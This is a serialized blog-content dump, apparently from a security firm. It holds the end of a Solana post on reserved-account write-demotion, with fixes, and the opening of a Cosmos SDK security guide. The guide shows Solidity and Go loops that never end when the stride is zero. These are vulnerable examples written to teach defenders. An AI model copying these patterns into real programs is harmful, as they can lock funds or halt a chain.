"value":1142},{"type":19,"tag":168,"props":72796,"children":72797},{"style":212},[72798],{"type":24,"value":17713},{"type":19,"tag":168,"props":72800,"children":72801},{"class":170,"line":450},[72802,72806,72810,72814,72818,72822,72826,72830,72834],{"type":19,"tag":168,"props":72803,"children":72804},{"style":382},[72805],{"type":24,"value":18298},{"type":19,"tag":168,"props":72807,"children":72808},{"style":393},[72809],{"type":24,"value":68836},{"type":19,"tag":168,"props":72811,"children":72812},{"style":399},[72813],{"type":24,"value":1922},{"type":19,"tag":168,"props":72815,"children":72816},{"style":825},[72817],{"type":24,"value":20550},{"type":19,"tag":168,"props":72819,"children":72820},{"style":212},[72821],{"type":24,"value":20378},{"type":19,"tag":168,"props":72823,"children":72824},{"style":825},[72825],{"type":24,"value":20383},{"type":19,"tag":168,"props":72827,"children":72828},{"style":212},[72829],{"type":24,"value":471},{"type":19,"tag":168,"props":72831,"children":72832},{"style":825},[72833],{"type":24,"value":68861},{"type":19,"tag":168,"props":72835,"children":72836},{"style":212},[72837],{"type":24,"value":3573},{"type":19,"tag":168,"props":72839,"children":72840},{"class":170,"line":560},[72841],{"type":19,"tag":168,"props":72842,"children":72843},{"emptyLinePlaceholder":14},[72844],{"type":24,"value":1093},{"type":19,"tag":168,"props":72846,"children":72847},{"class":170,"line":666},[72848,72852,72856,72860,72864,72868,72872,72876,72880,72884,72888],{"type":19,"tag":168,"props":72849,"children":72850},{"style":212},[72851],{"type":24,"value":20585},{"type":19,"tag":168,"props":72853,"children":72854},{"style":382},[72855],{"type":24,"value":1142},{"type":19,"tag":168,"props":72857,"children":72858},{"style":212},[72859],{"type":24,"value":68896},{"type":19,"tag":168,"props":72861,"children":72862},{"style":399},[72863],{"type":24,"value":486},{"type":19,"tag":168,"props":72865,"children":72866},{"style":212},[72867],{"type":24,"value":68905},{"type":19,"tag":168,"props":72869,"children":72870},{"style":399},[72871],{"type":24,"value":948},{"type":19,"tag":168,"props":72873,"children":72874},{"style":212},[72875],{"type":24,"value":68914},{"type":19,"tag":168,"props":72877,"children":72878},{"style":399},[72879],{"type":24,"value":6013},{"type":19,"tag":168,"props":72881,"children":72882},{"style":212},[72883],{"type":24,"value":68836},{"type":19,"tag":168,"props":72885,"children":72886},{"style":399},[72887],{"type":24,"value":948},{"type":19,"tag":168,"props":72889,"children":72890},{"style":212},[72891],{"type":24,"value":68931},{"type":19,"tag":168,"props":72893,"children":72894},{"class":170,"line":694},[72895,72899,72903,72907,72911,72915,72919],{"type":19,"tag":168,"props":72896,"children":72897},{"style":382},[72898],{"type":24,"value":18298},{"type":19,"tag":168,"props":72900,"children":72901},{"style":393},[72902],{"type":24,"value":68905},{"type":19,"tag":168,"props":72904,"children":72905},{"style":399},[72906],{"type":24,"value":1922},{"type":19,"tag":168,"props":72908,"children":72909},{"style":825},[72910],{"type":24,"value":22866},{"type":19,"tag":168,"props":72912,"children":72913},{"style":212},[72914],{"type":24,"value":20378},{"type":19,"tag":168,"props":72916,"children":72917},{"style":825},[72918],{"type":24,"value":20383},{"type":19,"tag":168,"props":72920,"children":72921},{"style":212},[72922],{"type":24,"value":3573},{"type":19,"tag":168,"props":72924,"children":72925},{"class":170,"line":707},[72926],{"type":19,"tag":168,"props":72927,"children":72928},{"emptyLinePlaceholder":14},[72929],{"type":24,"value":1093},{"type":19,"tag":168,"props":72931,"children":72932},{"class":170,"line":725},[72933,72937,72941],{"type":19,"tag":168,"props":72934,"children":72935},{"style":212},[72936],{"type":24,"value":20585},{"type":19,"tag":168,"props":72938,"children":72939},{"style":382},[72940],{"type":24,"value":1142},{"type":19,"tag":168,"props":72942,"children":72943},{"style":212},[72944],{"type":24,"value":17713},{"type":19,"tag":168,"props":72946,"children":72947},{"class":170,"line":746},[72948,72952,72956,72960,72964,72968,72972],{"type":19,"tag":168,"props":72949,"children":72950},{"style":382},[72951],{"type":24,"value":18298},{"type":19,"tag":168,"props":72953,"children":72954},{"style":393},[72955],{"type":24,"value":69004},{"type":19,"tag":168,"props":72957,"children":72958},{"style":399},[72959],{"type":24,"value":1922},{"type":19,"tag":168,"props":72961,"children":72962},{"style":825},[72963],{"type":24,"value":22866},{"type":19,"tag":168,"props":72965,"children":72966},{"style":212},[72967],{"type":24,"value":20378},{"type":19,"tag":168,"props":72969,"children":72970},{"style":825},[72971],{"type":24,"value":20383},{"type":19,"tag":168,"props":72973,"children":72974},{"style":212},[72975],{"type":24,"value":3573},{"type":19,"tag":168,"props":72977,"children":72978},{"class":170,"line":755},[72979],{"type":19,"tag":168,"props":72980,"children":72981},{"emptyLinePlaceholder":14},[72982],{"type":24,"value":1093},{"type":19,"tag":168,"props":72984,"children":72985},{"class":170,"line":1008},[72986,72990,72994],{"type":19,"tag":168,"props":72987,"children":72988},{"style":212},[72989],{"type":24,"value":20585},{"type":19,"tag":168,"props":72991,"children":72992},{"style":382},[72993],{"type":24,"value":1142},{"type":19,"tag":168,"props":72995,"children":72996},{"style":212},[72997],{"type":24,"value":17713},{"type":19,"tag":168,"props":72999,"children":73000},{"class":170,"line":1025},[73001,73005,73009,73013,73017,73021,73025],{"type":19,"tag":168,"props":73002,"children":73003},{"style":382},[73004],{"type":24,"value":18298},{"type":19,"tag":168,"props":73006,"children":73007},{"style":393},[73008],{"type":24,"value":39718},{"type":19,"tag":168,"props":73010,"children":73011},{"style":399},[73012],{"type":24,"value":1922},{"type":19,"tag":168,"props":73014,"children":73015},{"style":825},[73016],{"type":24,"value":20614},{"type":19,"tag":168,"props":73018,"children":73019},{"style":212},[73020],{"type":24,"value":20378},{"type":19,"tag":168,"props":73022,"children":73023},{"style":825},[73024],{"type":24,"value":20383},{"type":19,"tag":168,"props":73026,"children":73027},{"style":212},[73028],{"type":24,"value":3573},{"type":19,"tag":168,"props":73030,"children":73031},{"class":170,"line":1042},[73032],{"type":19,"tag":168,"props":73033,"children":73034},{"style":212},[73035],{"type":24,"value":1326},{"type":19,"tag":20,"props":73037,"children":73038},{},[73039,73041,73047,73049,73055],{"type":24,"value":73040},"This works fine — until one day, ",{"type":19,"tag":27,"props":73042,"children":73044},{"className":73043},[],[73045],{"type":24,"value":73046},"old_king",{"type":24,"value":73048}," is silently demoted. Suddenly, the ",{"type":19,"tag":27,"props":73050,"children":73052},{"className":73051},[],[73053],{"type":24,"value":73054},"#[account(mut)]",{"type":24,"value":73056}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":19,"tag":16345,"props":73058,"children":73060},{"id":73059},"real-world-example-write-demotion-with-secp256r1_program",[73061,73063],{"type":24,"value":73062},"Real-World Example: Write-Demotion with ",{"type":19,"tag":27,"props":73064,"children":73066},{"className":73065},[],[73067],{"type":24,"value":73068},"secp256r1_program",{"type":19,"tag":20,"props":73070,"children":73071},{},[73072,73074,73079],{"type":24,"value":73073},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":19,"tag":27,"props":73075,"children":73077},{"className":73076},[],[73078],{"type":24,"value":73068},{"type":24,"value":73080},", a precompiled program gated behind a feature flag:",{"type":19,"tag":158,"props":73082,"children":73084},{"className":363,"code":73083,"language":362,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[73085],{"type":19,"tag":27,"props":73086,"children":73087},{"__ignoreMap":7},[73088,73109,73129,73158],{"type":19,"tag":168,"props":73089,"children":73090},{"class":170,"line":171},[73091,73096,73100,73105],{"type":19,"tag":168,"props":73092,"children":73093},{"style":825},[73094],{"type":24,"value":73095},"ReservedAccount",{"type":19,"tag":168,"props":73097,"children":73098},{"style":399},[73099],{"type":24,"value":888},{"type":19,"tag":168,"props":73101,"children":73102},{"style":175},[73103],{"type":24,"value":73104},"new_pending",{"type":19,"tag":168,"props":73106,"children":73107},{"style":212},[73108],{"type":24,"value":870},{"type":19,"tag":168,"props":73110,"children":73111},{"class":170,"line":198},[73112,73117,73121,73125],{"type":19,"tag":168,"props":73113,"children":73114},{"style":212},[73115],{"type":24,"value":73116}," secp256r1_program",{"type":19,"tag":168,"props":73118,"children":73119},{"style":399},[73120],{"type":24,"value":888},{"type":19,"tag":168,"props":73122,"children":73123},{"style":175},[73124],{"type":24,"value":893},{"type":19,"tag":168,"props":73126,"children":73127},{"style":212},[73128],{"type":24,"value":898},{"type":19,"tag":168,"props":73130,"children":73131},{"class":170,"line":415},[73132,73137,73141,73146,73150,73154],{"type":19,"tag":168,"props":73133,"children":73134},{"style":212},[73135],{"type":24,"value":73136}," feature_set",{"type":19,"tag":168,"props":73138,"children":73139},{"style":399},[73140],{"type":24,"value":888},{"type":19,"tag":168,"props":73142,"children":73143},{"style":212},[73144],{"type":24,"value":73145},"enable_secp256r1_precompile",{"type":19,"tag":168,"props":73147,"children":73148},{"style":399},[73149],{"type":24,"value":888},{"type":19,"tag":168,"props":73151,"children":73152},{"style":175},[73153],{"type":24,"value":893},{"type":19,"tag":168,"props":73155,"children":73156},{"style":212},[73157],{"type":24,"value":898},{"type":19,"tag":168,"props":73159,"children":73160},{"class":170,"line":450},[73161],{"type":19,"tag":168,"props":73162,"children":73163},{"style":212},[73164],{"type":24,"value":557},{"type":19,"tag":20,"props":73166,"children":73167},{},[73168,73170,73175,73177,73183],{"type":24,"value":73169},"Before the ",{"type":19,"tag":27,"props":73171,"children":73173},{"className":73172},[],[73174],{"type":24,"value":73145},{"type":24,"value":73176}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":19,"tag":27,"props":73178,"children":73180},{"className":73179},[],[73181],{"type":24,"value":73182},"secp256r1_program::id()",{"type":24,"value":73184}," as the king in a contract.",{"type":19,"tag":20,"props":73186,"children":73187},{},[73188,73190,73195],{"type":24,"value":73189},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":19,"tag":27,"props":73191,"children":73193},{"className":73192},[],[73194],{"type":24,"value":73182},{"type":24,"value":73196}," becomes the eternal king, and no one can dethrone it.",{"type":19,"tag":16345,"props":73198,"children":73200},{"id":73199},"fix-3-preventing-write-demotion-pitfalls",[73201],{"type":24,"value":73202},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":19,"tag":20,"props":73204,"children":73205},{},[73206,73208,73213],{"type":24,"value":73207},"Alright, let’s try to fix this ",{"type":19,"tag":293,"props":73209,"children":73210},{},[73211],{"type":24,"value":73212},"yet another",{"type":24,"value":73214}," edge case — and hopefully close the book on it.",{"type":19,"tag":16345,"props":73216,"children":73218},{"id":73217},"attempt-1-block-known-reserved-accounts",[73219],{"type":24,"value":73220},"Attempt 1: Block Known Reserved Accounts",{"type":19,"tag":20,"props":73222,"children":73223},{},[73224],{"type":24,"value":73225},"One naive solution is to reject any known reserved account, for example:",{"type":19,"tag":158,"props":73227,"children":73229},{"className":37836,"code":73228,"language":37838,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[73230],{"type":19,"tag":27,"props":73231,"children":73232},{"__ignoreMap":7},[73233,73241],{"type":19,"tag":168,"props":73234,"children":73235},{"class":170,"line":171},[73236],{"type":19,"tag":168,"props":73237,"children":73238},{"style":212},[73239],{"type":24,"value":73240}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":19,"tag":168,"props":73242,"children":73243},{"class":170,"line":198},[73244],{"type":19,"tag":168,"props":73245,"children":73246},{"style":192},[73247],{"type":24,"value":73248},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":19,"tag":20,"props":73250,"children":73251},{},[73252,73254,73259],{"type":24,"value":73253},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":19,"tag":27,"props":73255,"children":73257},{"className":73256},[],[73258],{"type":24,"value":73095},{"type":24,"value":73260}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":19,"tag":16345,"props":73262,"children":73264},{"id":73263},"attempt-2-use-a-pda-vault",[73265],{"type":24,"value":73266},"Attempt 2: Use a PDA Vault",{"type":19,"tag":20,"props":73268,"children":73269},{},[73270,73272,73277],{"type":24,"value":73271},"A more future-proof fix is to avoid ",{"type":19,"tag":51,"props":73273,"children":73274},{},[73275],{"type":24,"value":73276},"transferring lamports to arbitrary accounts",{"type":24,"value":73278}," altogether.",{"type":19,"tag":20,"props":73280,"children":73281},{},[73282],{"type":24,"value":73283},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":19,"tag":36,"props":73285,"children":73287},{"id":73286},"final-thoughts",[73288],{"type":24,"value":73289},"Final Thoughts",{"type":19,"tag":20,"props":73291,"children":73292},{},[73293],{"type":24,"value":73294},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":19,"tag":20,"props":73296,"children":73297},{},[73298],{"type":24,"value":73299},"We can safely transfer lamports to an account under the following conditions:",{"type":19,"tag":43,"props":73301,"children":73302},{},[73303,73308,73313],{"type":19,"tag":47,"props":73304,"children":73305},{},[73306],{"type":24,"value":73307},"It's not executable.",{"type":19,"tag":47,"props":73309,"children":73310},{},[73311],{"type":24,"value":73312},"Its balance, after the transfer, remains rent-exempt.",{"type":19,"tag":47,"props":73314,"children":73315},{},[73316],{"type":24,"value":73317},"It's not a reserved account.",{"type":19,"tag":20,"props":73319,"children":73320},{},[73321],{"type":24,"value":73322},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":19,"tag":232,"props":73324,"children":73325},{},[73326],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":73328},[73329,73330,73331,73337],{"id":26485,"depth":198,"text":26488},{"id":68711,"depth":198,"text":68714},{"id":69818,"depth":198,"text":69821,"children":73332},[73333,73334,73336],{"id":69824,"depth":415,"text":69827},{"id":70511,"depth":415,"text":73335},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":71816,"depth":415,"text":71819},{"id":73286,"depth":198,"text":73289},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":73342,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":73343,"description":73344,"date":73345,"author":73346,"image":73347,"isFeatured":14,"onBlogPage":14,"tags":73349,"body":73352,"_type":242,"_id":87237,"_source":244,"_file":87238,"_stem":87239,"_extension":247},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":73348,"width":11069,"height":11069},"/posts/cosmos-security/title.png",[73350,73351],"cosmos-sdk","security",{"type":16,"children":73353,"toc":87215},[73354,73358,73363,73368,73374,73379,73384,73389,73650,74139,74158,74163,74168,74173,74179,74184,74219,74229,74736,74756,74769,74775,74780,74785,75026,75031,75039,75051,75413,75418,75423,75459,75468,75894,75915,75921,75941,75962,75981,76013,76025,76037,76691,76719,76728,77168,77195,77215,77220,77241,77290,77299,78531,78559,78565,78570,78575,78595,78882,78916,79097,79102,79107,79151,79160,80352,80603,80616,80622,80656,80661,80724,80729,80749,80768,80780,80799,81491,81496,81501,81529,81538,82423,82450,82456,82476,82481,82494,82668,82681,82772,82777,82785,82795,82945,82950,82970,82978,82983,83381,83393,83398,83439,83450,83470,83778,83783,84708,84720,84728,84733,85726,85731,85743,85763,85782,86696,86753,86859,86871,86876,86881,86909,86918,87144,87170,87183,87197,87201,87206,87211],{"type":19,"tag":36,"props":73355,"children":73356},{"id":26485},[73357],{"type":24,"value":26488},{"type":19,"tag":20,"props":73359,"children":73360},{},[73361],{"type":24,"value":73362},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":19,"tag":20,"props":73364,"children":73365},{},[73366],{"type":24,"value":73367},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":19,"tag":36,"props":73369,"children":73371},{"id":73370},"its-loopin-time",[73372],{"type":24,"value":73373},"It's Loopin' Time",{"type":19,"tag":20,"props":73375,"children":73376},{},[73377],{"type":24,"value":73378},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":19,"tag":20,"props":73380,"children":73381},{},[73382],{"type":24,"value":73383},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":19,"tag":20,"props":73385,"children":73386},{},[73387],{"type":24,"value":73388},"Here is a simple example for reference:",{"type":19,"tag":158,"props":73390,"children":73392},{"code":73391,"language":1904,"meta":7,"className":1905,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[73393],{"type":19,"tag":27,"props":73394,"children":73395},{"__ignoreMap":7},[73396,73412,73429,73445,73467,73496,73517,73541,73562,73569,73590,73607,73624,73631,73643],{"type":19,"tag":168,"props":73397,"children":73398},{"class":170,"line":171},[73399,73403,73408],{"type":19,"tag":168,"props":73400,"children":73401},{"style":382},[73402],{"type":24,"value":28849},{"type":19,"tag":168,"props":73404,"children":73405},{"style":175},[73406],{"type":24,"value":73407}," sumWithStride",{"type":19,"tag":168,"props":73409,"children":73410},{"style":212},[73411],{"type":24,"value":870},{"type":19,"tag":168,"props":73413,"children":73414},{"class":170,"line":198},[73415,73420,73425],{"type":19,"tag":168,"props":73416,"children":73417},{"style":825},[73418],{"type":24,"value":73419}," uint64",{"type":19,"tag":168,"props":73421,"children":73422},{"style":393},[73423],{"type":24,"value":73424}," start",{"type":19,"tag":168,"props":73426,"children":73427},{"style":212},[73428],{"type":24,"value":915},{"type":19,"tag":168,"props":73430,"children":73431},{"class":170,"line":415},[73432,73436,73441],{"type":19,"tag":168,"props":73433,"children":73434},{"style":825},[73435],{"type":24,"value":73419},{"type":19,"tag":168,"props":73437,"children":73438},{"style":393},[73439],{"type":24,"value":73440}," stride",{"type":19,"tag":168,"props":73442,"children":73443},{"style":212},[73444],{"type":24,"value":915},{"type":19,"tag":168,"props":73446,"children":73447},{"class":170,"line":450},[73448,73452,73457,73462],{"type":19,"tag":168,"props":73449,"children":73450},{"style":825},[73451],{"type":24,"value":73419},{"type":19,"tag":168,"props":73453,"children":73454},{"style":212},[73455],{"type":24,"value":73456},"[] ",{"type":19,"tag":168,"props":73458,"children":73459},{"style":382},[73460],{"type":24,"value":73461},"memory",{"type":19,"tag":168,"props":73463,"children":73464},{"style":393},[73465],{"type":24,"value":73466}," arr\n",{"type":19,"tag":168,"props":73468,"children":73469},{"class":170,"line":560},[73470,73474,73478,73483,73487,73492],{"type":19,"tag":168,"props":73471,"children":73472},{"style":212},[73473],{"type":24,"value":481},{"type":19,"tag":168,"props":73475,"children":73476},{"style":382},[73477],{"type":24,"value":59160},{"type":19,"tag":168,"props":73479,"children":73480},{"style":419},[73481],{"type":24,"value":73482}," returns",{"type":19,"tag":168,"props":73484,"children":73485},{"style":212},[73486],{"type":24,"value":461},{"type":19,"tag":168,"props":73488,"children":73489},{"style":825},[73490],{"type":24,"value":73491},"uint64",{"type":19,"tag":168,"props":73493,"children":73494},{"style":212},[73495],{"type":24,"value":12250},{"type":19,"tag":168,"props":73497,"children":73498},{"class":170,"line":666},[73499,73503,73508,73512],{"type":19,"tag":168,"props":73500,"children":73501},{"style":825},[73502],{"type":24,"value":73419},{"type":19,"tag":168,"props":73504,"children":73505},{"style":212},[73506],{"type":24,"value":73507}," idx ",{"type":19,"tag":168,"props":73509,"children":73510},{"style":399},[73511],{"type":24,"value":486},{"type":19,"tag":168,"props":73513,"children":73514},{"style":212},[73515],{"type":24,"value":73516}," start;\n",{"type":19,"tag":168,"props":73518,"children":73519},{"class":170,"line":694},[73520,73524,73529,73533,73537],{"type":19,"tag":168,"props":73521,"children":73522},{"style":825},[73523],{"type":24,"value":73419},{"type":19,"tag":168,"props":73525,"children":73526},{"style":212},[73527],{"type":24,"value":73528}," sum ",{"type":19,"tag":168,"props":73530,"children":73531},{"style":399},[73532],{"type":24,"value":486},{"type":19,"tag":168,"props":73534,"children":73535},{"style":192},[73536],{"type":24,"value":437},{"type":19,"tag":168,"props":73538,"children":73539},{"style":212},[73540],{"type":24,"value":412},{"type":19,"tag":168,"props":73542,"children":73543},{"class":170,"line":707},[73544,73548,73553,73557],{"type":19,"tag":168,"props":73545,"children":73546},{"style":825},[73547],{"type":24,"value":73419},{"type":19,"tag":168,"props":73549,"children":73550},{"style":212},[73551],{"type":24,"value":73552}," end ",{"type":19,"tag":168,"props":73554,"children":73555},{"style":399},[73556],{"type":24,"value":486},{"type":19,"tag":168,"props":73558,"children":73559},{"style":212},[73560],{"type":24,"value":73561}," arr.length;\n",{"type":19,"tag":168,"props":73563,"children":73564},{"class":170,"line":725},[73565],{"type":19,"tag":168,"props":73566,"children":73567},{"emptyLinePlaceholder":14},[73568],{"type":24,"value":1093},{"type":19,"tag":168,"props":73570,"children":73571},{"class":170,"line":746},[73572,73576,73581,73585],{"type":19,"tag":168,"props":73573,"children":73574},{"style":419},[73575],{"type":24,"value":61859},{"type":19,"tag":168,"props":73577,"children":73578},{"style":212},[73579],{"type":24,"value":73580}," (idx ",{"type":19,"tag":168,"props":73582,"children":73583},{"style":399},[73584],{"type":24,"value":3240},{"type":19,"tag":168,"props":73586,"children":73587},{"style":212},[73588],{"type":24,"value":73589}," end) {\n",{"type":19,"tag":168,"props":73591,"children":73592},{"class":170,"line":755},[73593,73598,73602],{"type":19,"tag":168,"props":73594,"children":73595},{"style":212},[73596],{"type":24,"value":73597}," sum ",{"type":19,"tag":168,"props":73599,"children":73600},{"style":399},[73601],{"type":24,"value":65924},{"type":19,"tag":168,"props":73603,"children":73604},{"style":212},[73605],{"type":24,"value":73606}," arr[idx];\n",{"type":19,"tag":168,"props":73608,"children":73609},{"class":170,"line":1008},[73610,73615,73619],{"type":19,"tag":168,"props":73611,"children":73612},{"style":212},[73613],{"type":24,"value":73614}," idx ",{"type":19,"tag":168,"props":73616,"children":73617},{"style":399},[73618],{"type":24,"value":65924},{"type":19,"tag":168,"props":73620,"children":73621},{"style":212},[73622],{"type":24,"value":73623}," stride;\n",{"type":19,"tag":168,"props":73625,"children":73626},{"class":170,"line":1025},[73627],{"type":19,"tag":168,"props":73628,"children":73629},{"style":212},[73630],{"type":24,"value":761},{"type":19,"tag":168,"props":73632,"children":73633},{"class":170,"line":1042},[73634,73638],{"type":19,"tag":168,"props":73635,"children":73636},{"style":419},[73637],{"type":24,"value":14438},{"type":19,"tag":168,"props":73639,"children":73640},{"style":212},[73641],{"type":24,"value":73642}," sum;\n",{"type":19,"tag":168,"props":73644,"children":73645},{"class":170,"line":1055},[73646],{"type":19,"tag":168,"props":73647,"children":73648},{"style":212},[73649],{"type":24,"value":1326},{"type":19,"tag":158,"props":73651,"children":73655},{"code":73652,"language":73653,"meta":7,"className":73654,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[73656],{"type":19,"tag":27,"props":73657,"children":73658},{"__ignoreMap":7},[73659,73679,73692,73704,73722,73729,73736,73756,73768,73775,73782,73817,73843,73864,73893,73923,73968,74045,74081,74088,74132],{"type":19,"tag":168,"props":73660,"children":73661},{"class":170,"line":171},[73662,73666,73671,73675],{"type":19,"tag":168,"props":73663,"children":73664},{"style":382},[73665],{"type":24,"value":30229},{"type":19,"tag":168,"props":73667,"children":73668},{"style":825},[73669],{"type":24,"value":73670}," MsgSumWithStrideParams",{"type":19,"tag":168,"props":73672,"children":73673},{"style":382},[73674],{"type":24,"value":18606},{"type":19,"tag":168,"props":73676,"children":73677},{"style":212},[73678],{"type":24,"value":691},{"type":19,"tag":168,"props":73680,"children":73681},{"class":170,"line":198},[73682,73687],{"type":19,"tag":168,"props":73683,"children":73684},{"style":393},[73685],{"type":24,"value":73686}," Start",{"type":19,"tag":168,"props":73688,"children":73689},{"style":825},[73690],{"type":24,"value":73691}," uint64\n",{"type":19,"tag":168,"props":73693,"children":73694},{"class":170,"line":415},[73695,73700],{"type":19,"tag":168,"props":73696,"children":73697},{"style":393},[73698],{"type":24,"value":73699}," Stride",{"type":19,"tag":168,"props":73701,"children":73702},{"style":825},[73703],{"type":24,"value":73691},{"type":19,"tag":168,"props":73705,"children":73706},{"class":170,"line":450},[73707,73712,73717],{"type":19,"tag":168,"props":73708,"children":73709},{"style":393},[73710],{"type":24,"value":73711}," Arr",{"type":19,"tag":168,"props":73713,"children":73714},{"style":212},[73715],{"type":24,"value":73716}," []",{"type":19,"tag":168,"props":73718,"children":73719},{"style":825},[73720],{"type":24,"value":73721},"uint64\n",{"type":19,"tag":168,"props":73723,"children":73724},{"class":170,"line":560},[73725],{"type":19,"tag":168,"props":73726,"children":73727},{"style":212},[73728],{"type":24,"value":1326},{"type":19,"tag":168,"props":73730,"children":73731},{"class":170,"line":666},[73732],{"type":19,"tag":168,"props":73733,"children":73734},{"emptyLinePlaceholder":14},[73735],{"type":24,"value":1093},{"type":19,"tag":168,"props":73737,"children":73738},{"class":170,"line":694},[73739,73743,73748,73752],{"type":19,"tag":168,"props":73740,"children":73741},{"style":382},[73742],{"type":24,"value":30229},{"type":19,"tag":168,"props":73744,"children":73745},{"style":825},[73746],{"type":24,"value":73747}," MsgSumWithStrideResponse",{"type":19,"tag":168,"props":73749,"children":73750},{"style":382},[73751],{"type":24,"value":18606},{"type":19,"tag":168,"props":73753,"children":73754},{"style":212},[73755],{"type":24,"value":691},{"type":19,"tag":168,"props":73757,"children":73758},{"class":170,"line":707},[73759,73764],{"type":19,"tag":168,"props":73760,"children":73761},{"style":393},[73762],{"type":24,"value":73763}," Sum",{"type":19,"tag":168,"props":73765,"children":73766},{"style":825},[73767],{"type":24,"value":73691},{"type":19,"tag":168,"props":73769,"children":73770},{"class":170,"line":725},[73771],{"type":19,"tag":168,"props":73772,"children":73773},{"style":212},[73774],{"type":24,"value":1326},{"type":19,"tag":168,"props":73776,"children":73777},{"class":170,"line":746},[73778],{"type":19,"tag":168,"props":73779,"children":73780},{"emptyLinePlaceholder":14},[73781],{"type":24,"value":1093},{"type":19,"tag":168,"props":73783,"children":73784},{"class":170,"line":755},[73785,73790,73794,73799,73804,73808,73813],{"type":19,"tag":168,"props":73786,"children":73787},{"style":382},[73788],{"type":24,"value":73789},"func",{"type":19,"tag":168,"props":73791,"children":73792},{"style":212},[73793],{"type":24,"value":461},{"type":19,"tag":168,"props":73795,"children":73796},{"style":393},[73797],{"type":24,"value":73798},"ms ",{"type":19,"tag":168,"props":73800,"children":73801},{"style":825},[73802],{"type":24,"value":73803},"msgServer",{"type":19,"tag":168,"props":73805,"children":73806},{"style":212},[73807],{"type":24,"value":481},{"type":19,"tag":168,"props":73809,"children":73810},{"style":175},[73811],{"type":24,"value":73812},"SumWithStride",{"type":19,"tag":168,"props":73814,"children":73815},{"style":212},[73816],{"type":24,"value":870},{"type":19,"tag":168,"props":73818,"children":73819},{"class":170,"line":1008},[73820,73825,73830,73834,73839],{"type":19,"tag":168,"props":73821,"children":73822},{"style":393},[73823],{"type":24,"value":73824}," goCtx",{"type":19,"tag":168,"props":73826,"children":73827},{"style":825},[73828],{"type":24,"value":73829}," context",{"type":19,"tag":168,"props":73831,"children":73832},{"style":212},[73833],{"type":24,"value":948},{"type":19,"tag":168,"props":73835,"children":73836},{"style":825},[73837],{"type":24,"value":73838},"Context",{"type":19,"tag":168,"props":73840,"children":73841},{"style":212},[73842],{"type":24,"value":915},{"type":19,"tag":168,"props":73844,"children":73845},{"class":170,"line":1025},[73846,73851,73855,73860],{"type":19,"tag":168,"props":73847,"children":73848},{"style":393},[73849],{"type":24,"value":73850}," msg",{"type":19,"tag":168,"props":73852,"children":73853},{"style":399},[73854],{"type":24,"value":7259},{"type":19,"tag":168,"props":73856,"children":73857},{"style":825},[73858],{"type":24,"value":73859},"MsgSumWithStrideParams",{"type":19,"tag":168,"props":73861,"children":73862},{"style":212},[73863],{"type":24,"value":915},{"type":19,"tag":168,"props":73865,"children":73866},{"class":170,"line":1042},[73867,73872,73876,73881,73885,73889],{"type":19,"tag":168,"props":73868,"children":73869},{"style":212},[73870],{"type":24,"value":73871},") 